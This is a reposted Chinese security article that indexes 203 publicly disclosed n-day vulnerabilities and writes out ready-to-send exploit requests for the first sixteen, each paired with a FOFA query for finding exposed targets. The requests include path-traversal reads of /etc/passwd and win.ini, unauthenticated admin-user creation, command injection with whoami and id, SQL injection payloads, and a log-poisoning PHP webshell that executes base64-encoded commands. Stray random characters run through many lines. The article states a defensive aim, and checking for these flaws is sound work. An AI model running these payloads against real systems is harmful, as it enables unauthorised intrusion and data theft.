互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
1 s2 e2 j4 D5 o9 Y2 b" |9 c
( ^2 ~! U8 }6 k- x发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
3 k, t( U- O' Y
2 b" X9 ~+ x$ R7 w5 B6 @8 C漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

3 H0 C  ?4 E/ a安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
8 }/ D( _6 C2 n) e  Z* N
7 G0 I* d) A; m+ I9 g文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
2 h6 L9 X; [1 g+ x  t1 u: l" A$ H& h
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
/ ^% z) A% r+ g2 D( ^8 S

% e% c. f+ X; q/ w6 J+ R: |# t% M$ r声明
/ B/ J0 {- S! J  W. Z! _+ v4 _, x
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
$ V4 X: S6 t9 c8 k% u' F
! C/ G6 n7 f5 r& B& \有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

, q% i$ Q4 Y! e9 S9 Q. \* K

2 l8 P; [  ?: C) a/ i; R8 P目录

01
1 E( E0 r6 {) x$ ^
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
7 j  Y6 f- Y7 w" D3 j3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
0 Q# @! X5 c$ I5 I" s1 M6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
, O, O- v& N, X" O  A0 T8 n. {, B5 Y8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
1 t9 x/ @+ q) X  F/ k11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
; A/ J" N+ Q/ ?12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
0 l  Y, h- q' H0 S2 y+ M; |  \16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
) o# i% y2 U  l; F20. 大华ICC智能物联综合管理平台任意文件读取
" p. f7 \9 P( }, x21. 大华ICC智能物联综合管理平台random远程代码执行
6 N% @( \2 h; R- U4 K$ K. w8 K22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& o7 O  U% X+ c: a  m- ^3 ~23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
( q7 M8 v8 G; _, ~+ Y27. 用友 NC showcontent SQL注入
& a) V$ l, d& Z+ r28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
$ a3 n1 t$ |4 @# N30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
- b/ B$ C- n1 J& A3 u35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
. w& e; Z9 s$ _* [( B3 ^37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
6 O6 ~4 C+ n% M/ a: ^39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
: h# z( k2 B$ B* O/ K" L41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
3 N; I  H" A. d4 e5 v7 i" t* j43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
! u. r- {! t3 M4 {  F$ `, j51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
- o% u9 K9 v" i8 j56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
' e. u) |$ h5 N60. 百卓Smart管理平台 importexport.php SQL注入
* d) p( f0 P7 d1 e0 X3 r  H7 D4 W; z61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
2 Z# n4 d: ]6 |65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
! m7 w+ v' [$ P9 @  Q! R# ^9 n67. 万户ezOFFICE wpsservlet任意文件上传
! y3 J8 B) P1 I5 e6 h8 G9 ?% v68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
: a+ p- X! a/ D0 |  [0 x4 s75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
3 Q2 q3 l% H: F0 C76. 新开普掌上校园服务管理平台service.action远程命令执行
2 C" l( [& s/ D( w77. F22服装管理软件系统UploadHandler.ashx任意文件上传
1 t& K: y! U8 j6 r6 E78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
6 ^" h& ?/ r# l/ g" ]81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
+ W' T/ x: \6 {8 T# D4 \85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
2 ?( ~% I5 h& r5 f' E( H1 }$ @87. 安恒明御安全网关aaa_local_web_preview文件上传
) N' K: Y$ ]* n% T88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
+ T0 S. _9 B- P91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
* n4 R7 `- A! K4 ]2 m. D; V. D92. 海康威视运行管理中心session命令执行
5 f' p4 M; b. R; z0 B93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
5 ^5 j- ^7 `. [% c" e100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
4 T$ }9 [. b$ n101. ivanti policy secure-22.6命令注入
, a4 \% \, F+ e/ G* j102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
* e) Z" z& h5 |# Z9 ?5 Y* s! p9 `104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
- N, [* @7 ]' Y, g2 j3 z6 F105. SpringBlade v3.2.0 export-user SQL 注入
" l6 i' z9 r. c( a" B( @106. SpringBlade dict-biz/list SQL 注入
  I" L* X7 v& j# |2 m; X& P107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
$ l" w1 b( C' o# ~110. Goanywhere MFT 未授权创建管理员
+ U" k( `9 A+ m111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
5 C3 ]# Y8 p4 V$ C115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
. q8 e! b+ h" I  C' h120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
8 k, X0 G  D4 n+ |& h9 a, h! [124. 湖南建研工程质量检测系统任意文件上传
% Z7 M8 j  g- {  C125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
- [7 X5 a& g- T& w7 Y127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
4 W  C0 Z7 o8 }+ v131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
1 E) v( s! H! l8 @8 g5 N135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
, c& \) t7 m* i8 z9 a2 E137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
, m/ E. E, [/ J139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
0 t6 q( d. `9 K145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
$ ^: ^& ~& ?) n. e( \5 S147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
# ]/ O  h1 ]1 s$ A7 u& r( m5 j$ ^! t" F149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
" t4 v- }5 Y$ Z  G8 M151. AJ-Report 1.4.1 pageList sql注入
; F0 o1 M& H; }: B( M& F152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
+ i( z1 o% D4 z# t156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
# v" S4 w2 @% W160. Sonatype Nexus Repository 3目录遍历与文件读取
( T  t. O' W- i7 g. a$ U161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
9 w* H- N* J& \162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
5 V+ l9 @4 J5 q7 G6 d163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
3 L) p; ?1 q8 g" @. _% _165. OrangeHRM 3.3.3 SQL 注入
: G/ x4 a+ L# N, }. s7 }3 |5 d6 f166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
% {4 G! W( b3 G$ W- s8 {7 m170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
4 H+ o# O3 J' G3 q# c173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
$ j, f6 k* t' L) Z9 o175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
8 y# ~8 K' [3 L, H6 B! b178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
+ j) U3 l4 ]3 h# w180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
$ y$ \7 Q- {. {( w0 f7 ^1 ^182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
% a. P9 G9 Z) K/ ]0 d184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
2 D) z$ A' D3 i185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
- z# P: o  O0 L' c, x" F188. 叁体-佳会视频会议 attachment 任意文件读取
: W! J* m3 f1 T. Q  k! [189. 蓝网科技临床浏览系统 deleteStudy SQL注入
$ \! I6 V; q9 h1 N5 ^190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
% i+ R, N+ C, o( t; F' V. n9 c192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
" E! A5 m8 q9 e193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
4 |, Z: o. T# P195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
7 c2 Z( ?. _3 ?: I3 i) E& _$ F196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
2 d& X! T! |3 B; q6 r' ^" |198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
( _) a. r2 Z5 W+ x200. SeaCMS海洋影视管理系统dmku SQL注入
( {7 }$ b5 g' c& \% U3 }201. 方正全媒体新闻采编系统 binary SQL注入
0 V$ N) \0 k0 O9 ?202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
' u) I& ?0 ~' N8 Q5 ^1 C( w
- z% N5 T- j' v1 F: t: BPOC列表
/ O# W/ l1 J2 e
% H( ^" Z- w0 D  A; u3 O4 z1 T02

1. StarRocks MPP数据库未授权访问
: z- `/ R& V% EFOFA ：title="StarRocks"
& l( L5 t! L: B& W1 Z, }( V0 PGET /mem_tracker HTTP/1.1
, ~/ u" m+ Y$ k3 P# bHost: URL

0 Z% r! x% Y7 L# H3 U" n
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. n* o5 B; F& t- {0 p' WConnection: close
Accept: */*
Accept-Language: en
! j. Z, j$ x8 a0 I- z$ M6 `  uAccept-Encoding: gzip

$ U* W; D7 i8 o1 [: S1 V# |8 w
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
4 d0 g. s5 ]8 {# lHost: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
7 H1 S5 A  m) q( p8 O7 E% L9 S
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
& a* }7 ^! e- b$ [, oHost: your-ip
6 [' g" E! {- o; I4 z5 M& e0 _Content-Type: application/x-www-form-urlencoded; charset=UTF-8

5 L2 C  |' M1 s/ U$ t! e" ~/ kname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
) _4 w1 C* y% D6 q4 ]5 P6 Z
5 N6 \9 }+ x2 ?4 Z
3 k0 b" K# k6 z7 @4 l5. NUUO NVR 视频存储管理设备远程命令执行
$ E$ {" J$ P8 V# Q7 }7 O' Y9 NFOFA：title="Network Video Recorder Login"
% Y8 j, l, }) x2 n4 @GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
+ f: ^, e9 v" n% @$ I
  D) r& |2 P  L
6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
  P) [% Z5 j+ P* k1 w' B6 t2 `2 VHost:
  ]2 f6 C! w4 f2 }5 z8 B4 m2 p. X

: e# l, x8 s' S. Z7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
7 X# W+ K/ D( BHost:


4 R- b/ j2 {4 Q+ i/ m- }* K) h8. 斐讯 Phicomm 路由器RCE
) {8 B. y$ [  Q- d! P& xFOFA：icon_hash="-1344736688"
/ ?/ j; {: P4 b* F默认账号admin登录后台后，执行操作
+ f9 h2 u2 n2 q: v) gPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
9 s1 `, Z4 {) j" KCookie: sysauth=第一步登录获取的cookie
  a& S1 J/ W% [% {% EContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

; w. Z  }. f! B------WebKitFormBoundaryxbgjoytz
. K, e8 P3 V' K7 u1 zContent-Disposition: form-data; name="wifiRebootEnablestatus"

1 O, a7 H9 ]  b# l; b%s
1 ]! q% y2 U4 ^8 q' O1 b+ ]------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
! v& F4 V- P% G& |( r
12:00; id;
------WebKitFormBoundaryxbgjoytz
* m# O  ?+ @* b3 p% }" m+ ?* MContent-Disposition: form-data; name="wifiRebootendrange"

%s:
7 @; O" e8 _' d/ k0 f+ C------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
, H0 }3 X1 ~/ a7 [: p
9 v5 W) W( W' v& L: r% E
------WebKitFormBoundaryxbgjoytz--

/ E. U9 ^  m* X8 T- T
! P$ L. }2 g) T1 A/ A. A9. 稻壳CMS keyword 未授权SQL注入
4 s1 K+ ~. k" NFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
6 D1 q, p. ~4 a/ PHost: x.x.x.x


payload为下列语句的二次Url编码

# `+ Z& u; [8 o1 b' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
- o% w- o8 j; y: u) i& `3 P
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
' ]) m: [4 Z8 u$ U) a. \3 z! GFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
. H( X( h7 {. I+ J9 j; fPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
% a1 @6 A/ z: @0 J/ e& ?# b- z* jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 p1 S- x# @2 j. E/ e- Q+ ]7 VContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
; M& m5 c- U; y* @2 f, M1 {; V
& |5 d4 K# M! l% C------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
8 M* b0 r0 x; _+ O6 V& o9 WContent-Type: text/html

1 U1 C5 X! J0 e. n; tjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

" n7 K) q1 N; e9 P6 U0 v. ?9 j
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
4 ^" R4 Q+ W& O" i+ nFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
, \; O  a: ^* y3 A* [Pragma: no-cache
1 ~- u; E/ M6 l1 ^6 q$ Z' s% o3 ECache-Control: no-cache
% m% m0 E; f" I9 I' L* UUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: w$ U1 p  ]8 b5 f& V* ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
6 T- b8 e# u- @Connection: close
) K0 \/ {& k& {
  m; f3 }2 F6 T7 F+ y  V
12. Jorani < 1.0.2 远程命令执行
, S: X7 ]1 U( ?( bFOFA：title="Jorani"
第一步先拿到cookie
& `- E$ V, L6 c# VGET /session/login HTTP/1.1
1 s" L4 M( H2 I, s; z3 @. o& DHost: 192.168.190.30
0 k! t- I; n6 y. F# jUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
1 l6 C# ]9 X0 vConnection: close
Accept-Encoding: gzip
0 h/ [, E/ o  w) m) J

响应中csrf_cookie_jorani用于后续请求
7 ^6 p4 T  n1 |5 yHTTP/1.1 200 OK
+ q0 `" l0 k  G4 Z% gConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
. t& Z6 h0 b0 O- I& g# c. V  {Date: Tue, 24 Oct 2023 09:34:28 GMT
6 Q, i' |9 t3 m' F( B+ \Expires: Thu, 19 Nov 1981 08:52:00 GMT
$ n" \% Y7 w# X* _# eLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
1 T1 g( {+ N( EPragma: no-cache
9 M. z: w% Q4 Q4 ~) ]5 bServer: Apache/2.4.54 (Debian)
: Q% O* D* b' T7 M$ P8 fSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
. F( Z, ^8 ?/ I3 |# Z7 e3 P
* b/ ]- N  V& {* g; V! D
5 b% g4 w: a  m8 I8 \( }5 \9 QPOST请求，执行函数并进行base64编码
' x* B  ~6 o% n" d2 j6 G! g7 MPOST /session/login HTTP/1.1
; @9 a  y0 a! S/ t$ l4 t7 vHost: 192.168.190.30
  J* K* Q% ?9 C: e4 O2 q% L3 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
7 O$ M' |7 f# rCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
% b( j; ^2 v7 jAccept-Encoding: gzip
! a0 T: K+ R! g
* `, x1 d+ o1 w$ G4 x% pcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
. }& F! W* |: T

7 ^, j9 G. \& X/ G9 _0 C0 I
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
' ]6 `+ n3 ~) MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
8 m0 z) o, _6 r/ a9 U9 M$ LConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
( M. u: X+ d( _3 p; `+ wK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
3 n9 I9 \9 G- d" F- pX-REQUESTED-WITH: XMLHttpRequest
* x. B. I. k3 CAccept-Encoding: gzip

: p% J) ]" z# j, T4 I7 n+ B4 F' `# r
% z! J& D* j: V& J& ^- |13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
! p* u- n% e# B" VGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
! N; k9 l- N3 D$ \0 uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
: N  k4 V* l# ?5 tConnection: close
Accept: */*
( P7 J) Y: F, T& E# v( m5 X- |Accept-Encoding: gzip

! ]: z. G# ?3 K& b) Z
14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
1 w% Q1 t$ _. {' E: {% a: CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
# |( E. Q! q$ N6 m- ?$ RAccept: */*
Accept-Language: en
Accept-Encoding: gzip
# y  e7 `' p9 E. t8 L
, [( x' w. w( ~3 W0 ~3 ?0 W" Z+ @
3 q4 ]5 Y2 q, D: ^2 [1 H15. 华夏ERP getAllList信息泄露
CVE-2024-0490
0 ?- |. d: A" m; C0 y* [& ~FOFA：body="jshERP-boot"
6 j- c& _: P$ ?, v! K0 C  ]. A泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
% N7 V* e" Y2 S$ V2 zHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
  r# f- u+ u5 }/ R$ I  JConnection: close
1 b# ~. o* v: ^2 n# \* OAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
5 [) k' l. a/ Msec-ch-ua-platform: Windows
( R% ?2 m6 T1 N# K% cAccept-Encoding: gzip
* d7 |: s6 j! a2 I+ M0 {* F& H2 A+ a' }

16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
) v6 P+ }0 _) I* T% Q( h* T& Opoc中调用函数计算1234的md5值
: w6 k# a' |* ^, B' t# ]( iGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
